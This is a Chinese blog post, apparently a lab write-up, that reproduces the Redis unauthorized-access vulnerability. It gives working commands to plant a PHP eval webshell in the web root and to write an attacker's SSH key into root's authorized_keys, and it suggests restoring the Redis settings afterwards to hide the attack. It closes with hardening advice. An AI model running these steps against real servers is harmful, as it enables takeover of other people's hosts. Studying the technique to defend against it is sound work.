redis未授权访问漏洞完整复现与踩坑

前言

几年前就知道这个漏洞,可是一直没有机会复现,这两天真好有机会复现一下它,在这里做一个记录。

环境配置

靶机环境配置

第一步:下载并解压redis

  1. 下载redis并安装

wget http://download.redis.io/releases/redis-3.2.9.tar.gz
tar xzf redis-3.2.9.tar.gz
cd redis-3.2.9
make

倘若配置出问题,可以在redis-3.2.9文件夹下执行make test根据回显进行debug。make test命令出现下图所示,即代表安装所需所有环境都正确:
在这里插入图片描述

安装的时候遇见了linux安装redis时遇到的fatal error: stdlib.h: No such file or directory问题,可以点击链接进去看看解决方案。

如果遇见卸载gcc后无法再次安装,执行apt autoremove,接着执行apt-get install gcc即可。
https://blog.csdn.net/weixin_46612410/article/details/107514523

遇见cc: error: …/deps/geohash-int/geohash.o: No such file,进入源码包目录下的deps目录中执行
make geohash-int hiredis jemalloc linenoise lua
https://www.cnblogs.com/hujiapeng/p/7825883.html

  1. 安装openssh-server、apache2

sudo apt-get install openssh-server apache2 -y

第二步:修改配置文件

配置文件在下图的位置:在这里插入图片描述

在bind前面加上 #
在这里插入图片描述
将protected-mode改为no,3.2以上版本,默认开启了protected模式
在这里插入图片描述

第三步:开启redis

重启服务然后进入redis-3.2.9目录下的src目录并打开redis-server

systemctl restart redis-server.service #重启服务
cd src
./redis-server redis.conf_path #切记第二个常熟市redis.conf的路径,一般在redis-3.2.9目录下
在这里插入图片描述

开启后可以在靶机上使用redis-cli命令测试看是否成功,如果出现下图的数据即成功,下图中的数据要进入redis后执行info命令才可以,注意箭头所指的字段值
在这里插入图片描述

在攻击机上下载redis

步骤同上,不需要修改配置文件。或者直接执行sudo apt install redis-server -y下载redis即可,如果是mac直接执行brew install redis即可,mac上redis的配置文件在/usr/local/Cellar/redis/6.0.8/.bottle/etc
在这里插入图片描述

redis常见命令

  1. 远程连接redis:
    redis-cli -h 192.168.122.203
  2. 查看redis版本信息、一些具体信息、服务器版本信息等等:
    192.168.122.203:6379> info
  3. 获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
    192.168.122.203:6379> CONFIG GET dir
    192.168.122.203:6379> CONFIG GET dbfilename
  4. 将变量x的值设为test、获取变量x的值:
    192.168.122.203:6379> set x “test”
    192.168.122.203:6379> get x

漏洞利用须知与漏洞理解

  1. 利用redis来写出来的文件一定会有一部分乱码,解决方式为在数据的前后加上至少三个\n,如果不这样子,则会导致shell执行失败,实际奥做如下如下:
    在这里插入图片描述
    这样子实际生成的文件为:
    在这里插入图片描述
  2. 这个漏洞利用可以这样理解:
  • 如果有了redis未授权访问权限,我们就有了在对方电脑上写文件的权利。
  • 使用config set dir [path]命令来决定文件的写入路径。
  • 使用config set dbfilename [filename]来决定文件名。
  • 使用set key value,来确定文件的内容,key值任意即可,value即为文件内容。
  • 使用save命令来确定以上所有操作并生成文件。
  1. 我们可以在写文件之前先用config get dir与config get dbfilename命令查询这两个字段的值并保存起来,等到我们写完文件后恢复这两个字段的值,增加我们攻击的隐蔽性。
  2. 必须在非保护模式下才有可能利用这个漏洞,如果在保护模式下即使访问了redis也是无法执行命令的,如下图所示。
    在这里插入图片描述

实验过程

前言

利用这个漏洞我们一般会去实现写入webshell、写入ssh公钥、在crontab里写定时任务,反弹shell这三种,我们依次来实现。

资产列表

主机名 ip
攻击机 10.92.78.137
靶机 192.168.124.138

因为是redis未授权,所以任意可以访问到靶机的主机都可以访问6379端口来控制其redis服务。
在这里插入图片描述

漏洞利用:利用漏洞写入webshell

  1. 连接上redis后输入以下命令:
192.168.124.138:6379> config set dir /var/www/html/
OK
192.168.124.138:6379> config set dbfilename muma.php
OK
192.168.124.138:6379> set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n"
OK
192.168.124.138:6379> save
OK

  1. 然后打开蚁剑连接这个webshell
    在这里插入图片描述

漏洞利用:写入ssh公钥

写入ssh公钥后可以在本机存储对应的ssh密钥,然后直接无密码登陆。

  1. 利用ssh-keygen -t rsa生成公钥密钥文件
    在这里插入图片描述

  2. 修改公钥文件的内容,在其最前面与最后面加上三个反斜杠n,命令如下:

(echo -e "\n\n\n"; cat /Users/shukasakai/.ssh/id_rsa.pub; echo -e "\n\n\n") > ~/Desktop/test.txt

最终生成文件如下:在这里插入图片描述

  1. 将公钥写入靶机:
shukasakai@zhujiayu Desktop % cat /Users/shukasakai/Desktop/test.txt | redis-cli -h 192.168.124.138 -x set x
shukasakai@zhujiayu Desktop % redis-cli -h 192.168.124.138
192.168.124.138:6379> config set dir /root/.ssh
OK
192.168.124.138:6379> config set dbfilename authorized_keys
OK
192.168.124.138:6379> get x
"\n\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCjb3a/Bm/KJyZ0KXiyOpYNz8FOm6mfe0iiATbH/41CvwgXe5nXIM0CEvF+1chwi3RKNsZcNXx59IaWOSKF9W1gX+BtdejJRD15TxxgVKgNcqHH66xDt8U/rWuTgOiPf7UgLNFx57HqMfBgT54drnD4UdrInOUGtg3oPyoPgDkD7LU90zWj+bJkqciqkA6OZiHJrzpEO+cTRLlugkVyI3N4v3zLY03v+38A7k/jhCuHpZctSVGdzM/QAHorImQo6T/EXTFwQkGcjSipVWP+jxcUsKIzPv+YCeW86h55zWmpbeQInj8jhGY1dBD3OXnlxpk/onQpvU5u0m/PlVbROFEC3YDlmZ1mgTrasPK7rRk7RAP6k+RSqGvXvFQSgV3kt0B9UXwz4iOlzaWSm+0WbiaznuBESKACI8NxpV+hwf2rzSvd7sAIJDoi8LGMYfSQ0Ocup6pIgP4Y73xLKxnVwqOiDwWpZQ6VsOYVOuxgpp3zvLBqQBWqDHxGhnG0EGcLBak= shukasakai@zhujiayu\n\n\n\n\n"
192.168.124.138:6379> save
OK
192.168.124.138:6379> 
  1. 直接无密码登陆或者用刚设置的passphase字段的值来登陆对方主机,由于我设置的是空密码所以直接登录即可:
    在这里插入图片描述

漏洞利用:利用计划任务反弹shell

因为用redis写的文件一定是有乱码的,而cron是无法忽略乱码的,所以这个漏洞无法这样子利用。

漏洞修复建议(引用他人博客)

网上收集的一些修复建议:

  1. 禁止一些高危命令
    修改 redis.conf 文件,添加
    rename-command FLUSHALL “”
    rename-command CONFIG “”
    rename-command EVAL “”
    来禁用远程修改 DB 文件地址

  2. 以低权限运行 Redis 服务
    为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆
    $ groupadd -r redis && useradd -r -g redis redis

  3. 为 Redis 添加密码验证
    修改 redis.conf 文件,添加
    requirepass mypassword

  4. 禁止外网访问 Redis
    修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用
    bind 127.0.0.1

  5. 保证 authorized_keys 文件的安全
    为了保证安全,您应该阻止其他用户添加新的公钥。
    将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:
    $ chmod 400 ~/.ssh/authorized_keys
    为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:
    # chattr +i ~/.ssh/authorized_keys
    然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:
    # chattr +i ~/.ssh
    注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

猜你喜欢

转载自blog.csdn.net/qq_41874930/article/details/109045831